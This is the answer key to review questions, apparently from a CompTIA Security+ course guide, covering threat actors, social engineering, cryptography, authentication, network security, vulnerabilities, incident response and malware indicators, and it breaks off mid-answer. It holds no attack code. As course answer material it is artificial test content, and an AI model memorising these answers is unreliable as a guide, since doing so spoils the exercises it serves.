A security operations center (SOC)

6. A business is expanding rapidly, and the owner is worried about tensions between its
6.

established IT and programming divisions. What type of security business unit or function could
help to resolve these issues?

Development and operations (DevOps) is a cultural shift within an organization to encourage more
collaboration between developers and systems administrators. DevSecOps embeds the security function
within these teams as well.

4
Review Activity: Threat Actors

1. Which of the following would be assessed by likelihood and impact: vulnerability, threat, or risk?

Risk. To assess likelihood and impact, you must identify both the vulnerability and the threat posed by a
potential exploit.

2. True or false? Nation-state actors only pose a risk to other states.

False. Nation-state actors have targeted commercial interests for theft, espionage, and extortion.

3. You receive an email with a screenshot showing a command prompt at one of your application
servers. The email suggests you engage the hacker for a day’s consultancy to patch the
vulnerability. How should you categorize this threat?

If the consultancy is refused and the hacker takes no further action, it can be classed as for financial gain
only. If the offer is declined and the hacker then threatens to sell the exploit or to publicize the vulnerability,
then the motivation is criminal.

4. Which type of threat actor is primarily motivated by the desire for political change?

Hacktivist

5. Which three types of threat actor are most likely to have high levels of funding?

State actors, organized crime, and competitors

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6
Review Activity: Attack Surfaces

1. A company uses stock photos from a site distributing copyright-free media to illustrate its
websites and internal presentations. Subsequently, one of the company’s computers is found
infected with malware that was downloaded by code embedded in the headers of a photo file
obtained from the site. What threat vector(s) does this attack use?

The transmission vector is image based, and the use of a site known to be used by the organization makes
this a supply chain vulnerability (even though the images are not paid for). It’s not stated explicitly, but the
attack is also likely to depend on a vulnerability in the software used to download and/or view or edit the
photo.

2. A company’s systems are disrupted by a ransomware attack launched via a vulnerability in

a network monitoring tool used by the company’s outsourced IT management. Aside from a
software vulnerability, what part of the company’s attack surface has been used as a threat
vector?

This is a supply chain vulnerability, specifically arising from the company’s managed service provider (MSP).

3. A company uses cell phones to provide IT support to its remote employees, but it does not
maintain an authoritative directory of contact numbers for support staff. Risks from which
specific threat vector are substantially increased by this oversight?

Voice calls: the risk that threat actors could impersonate IT support personnel to trick employees into
revealing confidential information or installing malware.

8
Review Activity: Social Engineering

1. The help desk takes a call, and the caller states that she cannot connect to the e-commerce
website to check her order status. She would also like a username and password. The user
gives a valid customer company name but is not listed as a contact in the customer database.
The user does not know the correct company code or customer ID. Is this likely to be a social
engineering attempt, or is it a false alarm?

This is likely to be a social engineering attempt. The help desk should not give out any information or add an
account without confirming the caller’s identity.

2. A purchasing manager is browsing a list of products on a vendor’s website when a window opens
2.

claiming that antimalware software has detected several thousand files on their computer that
are infected with viruses. Instructions in the official-looking window indicate the user should
click a link to install software that will remove these infections. What type of social engineering
attempt is this, or is it a false alarm?

This is a social engineering attempt utilizing a watering hole attack and brand impersonation.

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3. Your CEO calls to request market research data immediately be forwarded to their personal
3.

email address. You recognize their voice, but a proper request form has not been filled out and
use of third-party email is prohibited. They state that normally they would fill out the form and
should not be an exception, but they urgently need the data to prepare for a roundtable at a
conference they are attending. What type of social engineering techniques could this use, or is it
a false alarm?

If social engineering, this is a CEO fraud phishing attack over a voice channel (vishing). It is possible that it
uses deep fake technology for voice mimicry. The use of a sophisticated attack for a relatively low-value data
asset seems unlikely, however. A fairly safe approach would be to contact the CEO back on a known mobile
number.

4. A company policy states that any wire transfer above a certain value must be authorized by two
employees, who must separately perform due diligence to verify invoice details. What specific
type of social engineering is this policy designed to mitigate?

Business email compromise

10
Review Activity: Cryptographic Algorithms

1. Which part of a simple cryptographic system must be kept secret—the cipher, the ciphertext, or
the key?

In cryptography, the security of the message is guaranteed by the security of the key. The system does not
depend on hiding the algorithm or the message (security by obscurity).

2. Considering that cryptographic hashing is one way and the digest cannot be reversed, what
2.

makes hashing a useful security technique?

Because two parties can hash the same data and compare digests to see if they match, hashing can be used
for data verification in a variety of situations, including password authentication. Hashes of passwords,
rather than the password plaintext, can be stored securely or exchanged for authentication. A hash of a file
or a hash code in an electronic message can be verified by both parties.

3. Which security property is assured by symmetric encryption?

3.

Confidentiality—symmetric ciphers are generally fast and well suited to bulk encrypting large amounts of
data.

4. What are the properties of a public/private key pair?

4.

Each key can reverse the cryptographic operation performed by its pair but cannot reverse an operation
performed by itself. The private key must be kept secret by the owner, but the public key is designed to be
widely distributed. The private key cannot be determined from the public key, given a sufficient key size.

5. What is the process of digitally signing a message?

A hashing function is used to create a message digest. The digest is then signed using the sender’s private
key. The resulting signature can be verified by the recipient using the sender’s public key and cannot be
modified by any other agency. The recipient can calculate their own digest of the message and compare it to
the signed hash to validate that the message has not been altered.

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12
Review Activity: Public Key Infrastructure

13

1. How does a subject go about obtaining a certificate from a CA?

In most cases, the subject generates a key pair, adds the public key along with subject information and
certificate type in a certificate signing request (CSR), and submits it to the CA. If the CA accepts the request, it
generates a certificate with the appropriate key usage and validity, signs it, and transmits it to the subject.

2. What cryptographic information is stored in a digital certificate?

The subject’s public key and the algorithms used for encryption and hashing. The certificate also stores a
digital signature from the issuing CA, establishing the chain of trust.

3. What extension field is used with a web server certificate to support the identification of the
server by multiple specific subdomain labels?

The subject alternative name (SAN) field. A wildcard certificate will match any subdomain label.

4. What are the potential consequences if a company loses control of a private key?

It puts both data confidentiality and identification and authentication systems at risk. Depending on the key
usage, the key may be used to decrypt data with authorization. The key could also be used to impersonate a
user or computer account.

5. You are advising a customer about encryption for data backup security and the key escrow
services that you offer. How should you explain the risks of key escrow and potential
mitigations?

Escrow refers to archiving the key used to encrypt the customer’s backups with your company as a third
party. The risk is that an insider attack from your company may be able to decrypt the data backups.
This risk can be mitigated by requiring M-of-N access to the escrow keys, reducing the risk of a rogue
administrator.

6. What mechanism informs clients about suspended or revoked keys?

Either a published certificate revocation list (CRL) or an Online Certificate Status Protocol (OCSP) responder

7. You are providing consultancy to a firm to help them implement smart card authentication to
premises networks and cloud services. What are the main advantages of using an HSM over
server-based key and certificate management services?

A hardware security module (HSM) is optimized for this role and so presents a smaller attack surface. It
is designed to be tamper evident to mitigate against insider threat risks. It is also likely to have a better
implementation of a random number generator, improving the security properties of key material.

14
Review Activity: Cryptographic Solutions

15

1. In an FDE product, what type of cipher is used for a key encrypting key?

Full-disk encryption (FDE) uses a secret symmetric key to perform bulk encryption of a disk. This data
encryption key (DEK) is protected by a Key Encryption Key (KEK). The KEK is an asymmetric cipher (RSA or
ECC) private key.

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2. True or False? Perfect Forward Secrecy (PFS) ensures that a compromise of a server's private key
will not also put copies of traffic sent to that server in the past at risk of decryption.

True. PFS ensures that ephemeral keys are used to encrypt each session. These keys are destroyed after use.

3. Why does Diffie-Hellman underpin Perfect Forward Secrecy (PFS)?

Diffie-Hellman allows the sender and recipient to derive the same value (the session key) from some other
pre-agreed values. Some of these are exchanged, and some kept private, but there is no way for a snooper
to work out the secret just from the publicly exchanged values. This means session keys can be created
without relying on the server’s private key and that it is easy to generate ephemeral keys that are different
for each session.

4. True or false? It is essential to keep a salt value completely secret to prevent recovery of a
password from its hash.

False. The salt does not have to be kept secret, though it should be generated randomly.

16
Review Activity: Authentication

17

1. Which property of a plaintext password is most effective at defeating a brute force attack?

The length of the password. If the password does not have any complexity (if it is just two dictionary words,
for instance), it may still be vulnerable to a dictionary-based attack. A long password may still be vulnerable if
the output space is small or if the mechanism used to hash the password is faulty.

2. A user maintains a list of commonly used passwords in a file located deep within the computer’s
directory structure. Is this secure password management?

No. This is security by obscurity. The file could probably be easily discovered using search tools.

3. What policy prevents users from choosing old passwords again?

Enforce password history/block reuse and set a minimum age to prevent users from quickly cycling through
password changes to revert to a preferred phrase.

4. True or false? An account requiring a password, PIN, and smart card is an example of
three-factor authentication.

False. Three-factor authentication also includes a biometric-, behavioral-, or location-based element.

The password and PIN elements are the same factor (something you know).

5. What methods can be used to implement location-based authentication?

You can query the location service running on a device or geolocation by IP. You could use location with the
network, based on switch port, wireless network name, virtual LAN (VLAN), or IP subnet.

6. Apart from cost, what would you consider to be the major considerations for evaluating a
biometric recognition technology?

Error rates (false acceptance and false rejection), throughput, and whether users will accept the technology
or reject it as too intrusive or threatening to privacy.

7. True or false? When implementing smart card login, the user’s private key is stored on the smart
card.

True. The smart card implements a cryptoprocessor for secure generation and storage of key and certificate
material.

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8. How does OTP protect against password compromise?

A one-time password mechanism generates a token that is valid only for a short period (usually 60 seconds),
before it changes again. This can be sent to a registered device or generated by a hard token device. This
sort of two-step verification means that a threat actor cannot simply use the compromised password to
access the user’s account.

18
Review Activity: Authorization

19

1. What is the difference between security group- and role-based permissions management?

A group is simply a container for several user objects. Any organizing principle can be applied. In a role-
based access control system, groups are tightly defined according to job functions. Also, a user should
(logically) only possess the permissions of one role at a time.

2. In a rule-based access control model, can a subject negotiate with the data owner for access
privileges? Why or why not?

This sort of negotiation would not be permitted under rule-based access control; it is a feature of
discretionary access control.

3. What is the process of ensuring accounts are only created for valid users, only assigned the
appropriate privileges, and that the account credentials are known only to the valid user?

Provisioning or onboarding

4. What is the policy that states users should be allocated the minimum sufficient permissions?

Least privilege

5. A threat actor was able to compromise the account of a user whose employment had been
terminated a week earlier. They used this account to access a network share and exfiltrate
important files. What account vulnerability enabled this attack?

While it’s possible that lax password requirements and incorrect privileges may have contributed to
the account compromise, the most glaring problem is that the terminated employee’s account wasn't
deprovisioned. Since the account was no longer being used, it should not have been left active for a threat
actor to exploit.

20
Review Activity: Identity Management

21

1. What is the purpose of implementing LDAP?

A Lightweight Directory Access Protocol (LDAP)-compatible directory stores information about network
resources and users in a format that can be accessed and updated using standard queries.

2. True or false? The following string is an example of a distinguished name: CN=ad,

DC=515support,DC=com.

True

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3. True or false? In order to create a service ticket, Kerberos passes the user’s password to the
target application server for authentication.

False. Only the KDC verifies the user credential. The Ticket Granting Service (TGS) sends the user’s account
details (SID) to the target application for authorization (allocation of permissions), not authentication.

4. You are consulting with a company about a new approach to authenticating users. You suggest
there could be cost savings and better support for multifactor authentication (MFA) if your
employees create accounts with a cloud provider. That allows the company’s staff to focus on
authorizations and privilege management. What type of service is the cloud vendor performing?

The cloud vendor is acting as the identity provider.

5. You are working on a cloud application that allows users to log on with social media accounts
over the web and from a mobile application. Which protocols would you consider, and which
would you choose as most suitable?

Security Assertion Markup Language (SAML) and OAuth. OAuth offers better support for standard mobile
apps so is probably the best choice.

2
Review Activity: Enterprise Network Architecture

23

1. A company’s network contains client workstations and database servers in the same subnet.
Recently, this has enabled attackers to breach the security of the database servers from a
workstation compromised by phishing malware. The company has improved threat awareness
training and upgraded antivirus software on workstations. What other change will improve the
security of the network’s design, and why?

The network architecture should implement network segmentation to put hosts with the same security
requirements within segregated zones. At layer 2, the workstation and database servers should be placed on
separate switches or placed in separate virtual LANs (VLANs). At layer 3, these segments can be identified as
separate subnets.

2. A company must store archived data with very high confidentiality and integrity requirements
on the same site as its production network systems. What type of architecture will best protect
the security requirements of the archive host?

The host can be physically isolated by configuring it with no networking connections, creating an air-gap.

3. Following a data breach perpetrated by an insider threat actor, a company has relocated its
on-premises servers to a dedicated equipment room. The equipment room has a lockable
door, and the servers are installed to lockable racks. Access to keys is restricted to privileged
administrators and subject to sign-out procedures. True or false? These security principles
reduce the attack surface.

True. The attack surface exists at different network layers and includes physical access. Physically restricting
access to server hardware is an important element in reducing the attack surface and mitigating insider
threat.

4. A company wants to upgrade switches to enforce device authentication. Which framework,

standard, or protocol must the switch models support?

The switches must support the IEEE 802.1X standard. The Remote Authentication Dial-In User Service
(RADIUS) protocol and Extensible Authentication Protocol (EAP) framework are used within this, but it is
802.1X that is specific to authenticating when connecting to a switch port (and Wi-Fi access points).

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5. Two companies are merging and want to consolidate employees at a single site. Neither
company’s on-premises networks have space to add the 100 desktops required. Which
consideration factor does the current architecture model fail to address?

Scalability is the consideration that an architecture should be able to expand to meet additional
requirements or workloads.

24
Review Activity: Network Security Appliances

25

1. True or False? As they protect data at the highest layer of the protocol stack, application-based
firewalls have no basic packet filtering functionality.

False. All firewall types can perform basic packet filtering (by IP address, protocol type, port number,
and so on).

2. A proxy server implements a gateway for employee web and email access and is regularly
monitored for compromise. If any compromise is detected, the proxy must enter a fail state
that prevents further access. What type of fail mode is required?

A fail-closed mode is required. Fail-open mode preserves access and availability.

3. You need to deploy an appliance WAF to protect a web server farm without making any layer
3 addressing changes. Is WAF functionality supported by appliances and, if so, what device
attribute should the appliance support?

A web application firewall (WAF) can be implemented as an appliance or as software running on a general
host. The device must support transparent mode. It could either use layer 2 bridging or a layer 1 inline
(“bump-in-the-wire”) mode.

4. What IPS mechanism can be used to block traffic that violates policy without also blocking the
traffic source?

The intrusion prevention system (IPS) can be configured to reset connections that match rules for traffic that
are not allowed on the network. This halts the potential attack without blocking the source address.

5. True or false? When deploying a non-transparent proxy, clients must be configured with the
proxy address and port.

True. The clients must either be manually configured or use a technology such as proxy auto-configuration
(PAC) to detect the appropriate settings.

6. What is meant by scheduling in the context of load balancing?

The algorithm and metrics that determine which node a load balancer picks to handle a request

26
Review Activity: Secure Communications

27

1. True or false? A TLS VPN can only provide access to web-based network resources.

False. A Transport Layer Security (TLS) VPN uses TLS to encapsulate the private network data and tunnel it
over the network. The private network data could be frames or IP-level packets and is not constrained by
application-layer protocol type.

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2. What IPsec mode would you use for data confidentiality on a private network?

Transport mode with Encapsulating Security Payload (ESP). Tunnel mode encrypts the IP header information,
but this is unnecessary on a private network. Authentication Header (AH) provides message authentication
and integrity but not confidentiality.

3. What is the main advantage of IKEv2 over IKEv1?

Rather than just providing mutual authentication of the host endpoints, IKEv2 supports a user account
authentication method, such as Extensible Authentication Protocol (EAP).

4. What value confirms the identity of an SSH server to a client?

The server’s public key. This is referred to as the host key. Note that this can only be trusted if the client
trusts that the public key is valid. The client might confirm this manually or using a certificate authority.

5. Server A is configured to forward commands over SSH to a pool of database servers. The
database servers do not accept SSH connections from any other source. What type of
configuration does Server A implement?

Server A is a jump server. A jump server is a specially hardened device designed as a single point of entry for
management and administration traffic for a group of application or database servers in a secure zone. This
is designed to make monitoring and securing connections to the secure zone easier and more reliable.

28
Review Activity: Cloud Infrastructure

29

1. What is a public cloud?

A solution hosted by a third-party cloud service provider (CSP) and shared between subscribers
(multi-tenant). This sort of cloud solution has the greatest security concerns.

2. 2. What type of cloud solution could be used to implement a SAN?

This would usually be described as infrastructure as a service (IaaS).

3. 3. What is a Type II hypervisor?

Software that manages virtual machines that has been installed to a guest OS. This is in contrast to a Type I
(or "bare metal") hypervisor, which interfaces directly with the host hardware.

4. 4. What is IaC?

Answers will vary.

IaC, or Infrastructure as Code, is a software engineering practice that manages computing infrastructure
using machine-readable definition files and is closely related to the use of cloud computing infrastructures.

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Review Activity: Embedded System and Zero

Trust Architecture
30

31

1. What is a purpose-specific operating system with designs heavily focused on high levels of
stability and processing speed?

Real-Time Operating System (RTOS). RTOS are designed for use in embedded systems and are designed to
provide very specific types of functionality based on implementation.

2. What are the systems control machinery that is used in critical infrastructure, like power
2.

suppliers, water suppliers, health services, telecommunications, and national security services?

Industrial Control Systems (ICS.) ICSs are specialized industrial computers designed to operate
manufacturing and industrial sites. ICS systems are unique in that their failure can often result in significant
physical damage and loss of life.

3. What are some factors contributing to the poor security characteristics of IoT devices?
3.

Answers will vary.

• IoT devices are designed to be low cost and focus on functionality rather than security.

• IoT devices have limited processing power and memory.

• IoT devices are rushed to market without proper security testing.

• There is low awareness among consumers and organizations about the security risks associated with
IoT devices.

4. What is a network security approach that shifts the focus from defending a network’s
boundaries to protecting individual resources and data within the network?

Deperimeterization. This security approach moves away from traditional “inside” and “outside” network
security approaches and focuses on more granular methods of user and device analysis.

32
Review Activity: Asset Management

1. How does configuration management support cybersecurity operations?

It ensures that each configurable element within an asset inventory has not diverged from its approved
configuration.

2. What technology are snapshots most commonly associated with?

2.

Virtual machines (virtualization). They provide quick, point-in-time copies of a virtual machine’s state.

3. True or false? Backup media can be on site, but offline.

3.

True. As a security precaution, backup media can be taken offline at the completion of a job to mitigate the
risk of malware corrupting the backup.

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4. You are advising a company about backup requirements for a few dozen application servers
4.

hosting tens of terabytes of data. The company requires online availability of short-term
backups, plus off-site security media and long-term archive storage. The company cannot use a
cloud solution. What type of on-premises storage solution is best suited to the requirement?

The off-site and archive requirements are best met by a tape solution, but the online requirement may need
a RAID array, depending on speed. The requirement is probably not large enough to demand a storage area
network (SAN), but could be provisioned as part of one.

5. 5. Define data sanitization.

The process of removing sensitive information from storage media to prevent unauthorized access or data
breaches.

34
Review Activity: Redundancy Strategies

35

1. How does MTD relate to availability?

The maximum tolerable downtime (MTD) metric expresses the availability requirement for a particular
business function.

2. 2. How does elasticity differ from scalability?

A scalable system is one that responds to increased workloads by adding resources without exponentially
increasing costs. An elastic system is able to assign or unassign resources as needed to match either an
increased workload or a decreased workload.

3. Which two components are required to ensure power redundancy for a power loss period
3.

extending over 24 hours?

An uninterruptible power supply (UPS) is required to provide failover for the initial power loss event, before
switching over to a standby generator to supply power over a longer period.

4. 4. How does RAID support fault tolerance?

RAID provides redundancy among a group of disks, so that if one disk were to fail, that data may be
recoverable from the other disks in the array.

36
Review Activity: Physical Security

37

1. What physical site security controls act as deterrents?

Lighting is one of the most effective deterrents. Any highly visible security control (guards, fences, dogs,
barricades, CCTV, signage, and so on) will act as a deterrent.

2. 2. What use might a proximity reader be for site security?

One type of proximity reader allows a lock to be operated by a contactless smart card. Proximity sensors can
also be used to track objects via RFID tags.

3. 3. What type of sensor detects changes in heat patterns caused by moving objects?

Infrared

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4. What is a bollard?
4.

A short vertical post typically made of steel, concrete, or other similarly durable material and designed to
restrict vehicular traffic into pedestrian areas.

38
Review Activity: Device and OS Vulnerabilities

39

1. You are recommending that a business owner invest in patch management controls for PCs and
laptops. What is the main risk from weak patch management procedures on such devices?

Vulnerabilities in the OS and applications software such as web browsers and document readers or in PC
and adapter firmware can allow threat actors to run malware and gain a foothold on the network.

2. You are advising a business owner on security for a PC running Windows 7. The PC runs process
2.

management software that the owner cannot run on Windows 11. What are the risks arising
from this, and how can they be mitigated?

Windows 7 is a legacy platform that is no longer receiving security updates. This means that patch
management cannot be used to reduce risks from software vulnerabilities. The workstation should be
isolated from other systems to reduce the risk of compromise.

3. As a security solution provider, you are compiling a checklist for your customers to assess
3.

potential vulnerabilities. What vulnerability do the following items relate to? Default settings,
Unsecured root accounts, Open ports and services, Unsecure protocols, Weak encryption,
Errors.

Misconfiguration refers to improper and default settings that introduce vulnerabilities.

Review Activity: Application and Cloud

40
Vulnerabilities

41

1. Your log shows that the Notepad process on a workstation running as the local administrator
account has started an unknown process on an application server running as the SYSTEM
account. What type of attack(s) are represented in this intrusion event?

The Notepad process has been compromised, possibly using buffer overflow or a DLL/process injection
attack. The threat actor has then performed lateral movement and privilege escalation, gaining higher
privileges through remote code execution on the application server.

2. How do malicious updates introduce malware?

2.

Malicious updates describe updates typically downloaded from the trusted hardware or software vendor
that include malware. This is a result of the vendor’s environment being exploited.

3. What type of attack is focused on exploiting the database access provided to a web application?
3.

SQL injection. SQLi attacks manipulate the way web applications handle inputs to gain access to protected
resources stored in a database or manipulate web application behavior.

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Review Activity: Vulnerability Identification

Methods
42

43

1. You have received an urgent threat advisory and need to configure a network vulnerability scan
to check for the presence of a related CVE on your network. What configuration check should
you make in the vulnerability scanning software before running the scan?

Verify that the vulnerability feed/plug-in/test has been updated with the specific CVE that you need to
test for.

2. Your CEO wants to know if the company’s threat intelligence platform makes effective use of
2.

OSINT. What is OSINT?

Open-source intelligence (OSINT) is cybersecurity-relevant information harvested from public websites and
data records. In terms of threat intelligence specifically, it refers to research and data feeds that are made
publicly available.

3. A small company that you provide security consulting support to has resisted investing in an
3.

event management and threat intelligence platform. The CEO has become concerned about an
APT risk known to target supply chains within the company’s industry sector and wants you to
scan their systems for any sign that they have been targeted already. What are the additional
challenges of meeting this request, given the lack of investment?

Collecting network traffic and log data from multiple sources and then analyzing it manually will require
many hours of analyst time. The use of threat feeds and intelligence fusion to automate parts of this analysis
effort would enable a much swifter response.

Review Activity: Vulnerability Analysis and

Remediation
4

45

1. This is a dictionary of vulnerabilities in published operating systems and applications software.

CVE, or Common Vulnerabilities and Exposures

2. A vulnerability scan reports that a CVE associated with CentOS Linux is present on a host, but
2.

you have established that the host is not running CentOS. What type of scanning error event
is this?

False positive

3. This type of protection can provide financial protection in case of a security breach resulting
3.

from a vulnerability.

Cybersecurity insurance. These policies are designed to cover a majority of the expenses related to
remediating and recovering from a cyber incident.

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46
Review Activity: Network Security Baselines

47

1. What is a pre-shared key?

This is a type of group authentication used when the infrastructure for authenticating securely (via RADIUS,
for instance) is not available. The system depends on the strength of the passphrase used for the key.

2. Is WPS a suitable authentication method for enterprise networks?

2.

No, an enterprise network will use RADIUS authentication. WPS uses PSK, and there are weaknesses in the
protocol.

3. You want to deploy a wireless network where only clients with domain-issued digital certificates
3.

can join the network. What type of authentication mechanism is suitable?

EAP-TLS is the best choice because it requires that both server and client be installed with valid certificates.

4. What is a dissolvable agent?

4.

Some network access control (NAC) solutions perform host health checks via a local agent, running on
the host. A dissolvable agent is one that is executed in the host’s memory and CPU but not installed to a
local disk.

Review Activity: Network Security Capability

Enhancement
48

49

1. How can a screened subnet be implemented?

1.

By using two firewalls (external and internal) around a screened subnet, or by using a triple-homed firewall
(one with three network interfaces)

2. What is the common purpose of the default rule on a firewall?

2.

Block any traffic not specifically allowed (implicit deny)

3. What sort of maintenance must be performed on signature-based monitoring software?

3.

Installing definition/signature updates and removing definitions that are not relevant to the hosts or services
running on your network.

4. What is the principal risk of deploying an intrusion prevention system with behavior-based
4.

detection?

Behavior-based detection can exhibit high false positive rates, where legitimate activity is wrongly identified
as malicious. With automatic prevention, this will block many legitimate users and hosts from the network,
causing availability and support issues.

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Review Activity: Endpoint Security

51

1. What is a hardened configuration?

A basic principle of security is to run only services that are needed. A hardened system is configured to
perform a role as client or application server with the minimal possible attack surface in terms of interfaces,
ports, services, storage, system/registry permissions, lack of security controls, and vulnerabilities.

2. True or false? Only Microsoft’s operating systems and applications require security patches.
2.

False. Any vendor’s or open source software or firmware can contain vulnerabilities that need patching.

3. Why are OS-enforced file access controls not sufficient in the event of the loss or theft of a
3.

computer or mobile device?

The disk (or other storage) could be attached to a foreign system, and the administrator could take
ownership of the files. File-level, full disk encryption (FDE), or self-encrypting drives (SED) mitigate this by
requiring the presence of the user’s decryption key to read the data.

52
Review Activity: Mobile Device Hardening

53

1. What type of deployment model(s) allow users to select the mobile device make and model?

Bring your own device (BYOD) and choose your own device (CYOD)

2. Company policy requires that you ensure your smartphone is secured from unauthorized access
in case it is lost or stolen. To prevent someone from accessing data on the device immediately
after it has been turned on, what security control should be used?

Screen lock

3. True or false? A maliciously designed USB battery charger could be used to exploit a mobile
device on connection.

True. Though the vector is known to the mobile OS and handset vendors, the exploit often requires user
interaction.

4. Why might enforcement policies be used to prevent USB tethering when a smartphone is
brought to the workplace?

This would allow a PC or laptop to connect to the Internet via the smartphone’s cellular data connection. This
could be used to evade network security mechanisms, such as data loss prevention or content filtering.

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Review Activity: Application Protocol

54
Security Baselines

1. What type of attack against HTTPS aims to force the server to negotiate weak ciphers?

A downgrade attack

2. When using S/MIME, which key is used to protect the confidentiality of a message?
2.

The recipient’s public key (principally). The public key is used to encrypt a symmetric session key, and (for
performance reasons) the session key does the actual data encoding. The session key and, therefore, the
message text can then only be recovered by the recipient, who uses the linked private key to decrypt it.

3. Which protocol should be used to replace TELNET?

3.

Secure Shell (SSH) provides the same functionality as TELNET and incorporates encryption protections by
default.

4. True or false? DNSSEC depends on a chain of trust from the root servers down.
4.

True. The authoritative server for the zone creates a "package" of resource records (called an RRset) signed
with a private key (the Zone Signing Key). When another server requests a secure record exchange, the
authoritative server returns the package along with its public key, which can be used to verify the signature.

Review Activity: Cloud and Web Application

56
Security Concepts

57

1. What type of programming practice defends against injection-style attacks, such as inserting
SQL commands into a database application from a site search form?

Input validation provides some mitigation against this type of input being passed to an application via a user
form. Output encoding could provide another layer of protection by checking that the query that the script
passes to the database is safe.

2. Which response header provides protection against SSL stripping attacks?

2.

HTTP Strict Transport Security (HSTS)

3. What vulnerabilities might default error messages reveal?

3.

A default error message might reveal platform information and the workings of the code to an attacker.

4. How does static code analysis support secure development?

4.

Static code analysis is designed to inspect software at the source-code level to identify and report on
insecure coding practices. Static code analysis tools are often incorporated into software development
environments to automatically flag insecure code and encourage developers to focus on secure
development practices.

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Review Activity: Incident Response

59

1. What are the seven processes in the CompTIA incident response lifecycle?

Preparation, detection, analysis, containment, eradication, recovery, and lessons learned

2. True or false? The "first responder" is whoever first reports an incident to the CIRT.

False. The first responder would be the member of the computer incident response team (CIRT) to handle
the report.

3. True or false? It is important to publish all security alerts to all members of staff.

False. Security alerts should be sent to those able to deal with them at a given level of security awareness
and on a need-to-know basis.

4. You are providing security consultancy to assist a company with improving incident response
procedures. The business manager wants to know why an out-of-band contact mechanism for
responders is necessary. What do you say?

The response team needs a secure channel to communicate over without alerting the threat actor. There
may also be availability issues with the main communication network if it has been affected by the incident.

5. Your consultancy includes a training segment. What type of incident response exercise will best
represent a practical incident handling scenario?

A simulation exercise creates an actual intrusion scenario, with a red team performing the intrusion and a
blue team attempting to identify, contain, and eradicate it.

60
Review Activity: Digital Forensics

61

1. What is the significance of the fact that digital evidence is latent?

The evidence cannot be seen directly but must be interpreted so the validity of the interpreting process must
be unquestionable.

2. You’ve fulfilled your role in the forensic process, and now you plan on handing the evidence
over to an analysis team. What important process should you observe during this transition,
and why?

It’s important to uphold a record of how evidence is handled in a chain of custody. The chain of custody will
help verify that everyone who handled the evidence is accounted for, including when the evidence was in
each person’s custody. This is an important tool in validating the evidence’s integrity.

3. True or false? To ensure evidence integrity, you must make a hash of the media before making
an image.

True

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4. You must recover the contents of the ARP cache as vital evidence of an on-path attack. Should
you shut down the PC and image the hard drive to preserve it?

No, the ARP cache is stored in memory and will be discarded when the computer is powered off. You can
either dump the system memory or run the ARP utility and make a screenshot. In either case, make sure that
you record the process and explain your actions.

62
Review Activity: Data Sources

63

1. Your manager has asked you to prepare a summary of the usefulness of different kinds of log
data. You have sections for firewall, application, OS-specific security, IPS/IDS, and network logs
plus metadata. Following the CompTIA Security+ exam objectives, which additional log data
type should you cover?

Endpoint logs. These are typically security logs from detection suites that perform antivirus scanning and
enforce policies.

2. You must assess a security monitoring suite for its dashboard functionality. What is the general
use of dashboards?

A dashboard provides a console to work from for day-to-day incident response. It provides a summary
of information drawn from the underlying data sources to support some work task. Most tools allow the
configuration of different dashboards for different tasks. A dashboard can show uncategorized events and
visualizations of key metrics and status indicators.

3. True or false? It is not possible to set custom file system audit settings when using security log
data.

False. File system audit settings are always configurable. This type of auditing can generate a large amount
of data, so the appropriate settings are often different from one context to another.

4. What type of data source supports frame-by-frame analysis of an event that generated an
IDS alert?

Packet capture means that the frames of network traffic that triggered an intrusion detection system (IDS)
alert are recorded and stored in the monitoring system. The analyst can pivot from the alert to view the
frames in a protocol analyzer.

64
Review Activity: Alerting and Monitoring Tools

65

1. What is the purpose of SIEM?

Security information and event management (SIEM) products aggregate IDS alerts and host logs from
multiple sources, then perform correlation analysis on the observables collected to identify indicators of
compromise and alert administrators to potential incidents.

2. What is the difference between a sensor and a collector, in the context of SIEM?

A SIEM collector receives log data from a remote host and parses it into a standard format that can be
recorded within the SIEM and interpreted for event correlation. A sensor (or sniffer) copies data frames
from the network, using either a mirror port on a switch or some type of media tap.

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3. Your company has implemented a SIEM but found that there is no parser for logs generated by
the network’s UTM gateway. Why is a parser necessary?

Security information and event management (SIEM) aggregates data sources from multiple hosts and
appliances, including unified threat management (UTM). A parser translates the event attributes and data
used by the UTM to standard fields in the SIEM’s event database. This normalization process is necessary for
the correlation of event data generated by different sources.

4. Your manager has asked you to prepare a summary of the activities that support alerting and
monitoring. You have sections for log aggregation, alerting, scanning, reporting, and alert
response and remediation/validation (including quarantine and alert tuning). Following the
CompTIA Security+ exam objectives, which additional activity should you cover?

Archiving means that there is a store of event data that can be called upon for retrospective investigations,
such as threat hunting. Archiving also meets compliance requirements to preserve information. As the
volume of live data can pose problems for SIEM performance, archived data is often moved to a separate
long-term storage area.

5. You are supporting a SIEM deployment at a customer’s location. The customer wants to know
whether flow records can be ingested. What type of monitoring tool generates flow records?

Flow records are generated by NetFlow or IP Flow Information Export (IPFIX) probes. A flow record is data
that matches a flow label, which is a particular combination of keys (IP endpoints and protocol/port types).

6
Review Activity: Malware Attack Indicators

67

1. You are troubleshooting a user’s workstation. At the computer, an app window displays on the
screen claiming that all of your files are encrypted. The app window demands that you make an
anonymous payment if you ever want to recover your data. What type of malware has infected
the computer?

This is some type of ransomware, but you will have to investigate resource inaccessibility to determine
whether it is actually crypto-ransomware, or a "scareware" variant that is easier to remediate.

2. You are recommending different antivirus products to the CEO of a small travel services firm.
2.

The CEO is confused because they had heard that Trojans represent the biggest threat to
computer security these days. What explanation can you give?

While antivirus (A-V) scanner remains a popular marketing description, all current security products worthy
of consideration will try to provide protection against a full range of malware and bloatware threats.

3. You are writing a security awareness blog for company CEOs subscribed to your threat platform.
3.

Why are backdoors and Trojans different ways of classifying and identifying malware risks?

A Trojan means a malicious program masquerading as something else; a backdoor is a covert means of
accessing a host or network. A Trojan need not necessarily operate a backdoor, and a backdoor can be
established by exploits other than using Trojans. The term "remote access Trojan (RAT)" is used for the
specific combination of Trojan and backdoor.

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4. You are investigating a business email compromise (BEC) incident. The email account of a
4.

developer has been accessed remotely over webmail. Investigating the developer’s workstation
finds no indication of a malicious process, but you do locate an unknown USB extension
device attached to one of the rear ports. Is this the most likely attack vector, and what type of
malware would it implement?

It is likely that the USB device implements a hardware-based keylogger. This would not necessarily require
any malware to be installed or leave any trace in the file system.

5. A user’s computer is performing extremely slowly. Upon investigating, you find that a process
named n0tepad.exe is utilizing the CPU at rates of 80%–90%. This is accompanied by continual
small disk reads and writes to a temporary folder. Should you suspect malware infection, and is
any particular class of malware indicated?

Yes, this is malware as the process name is trying to masquerade as a legitimate process. It is not possible
to conclusively determine the type without more investigation, but you might initially suspect a cryptominer/
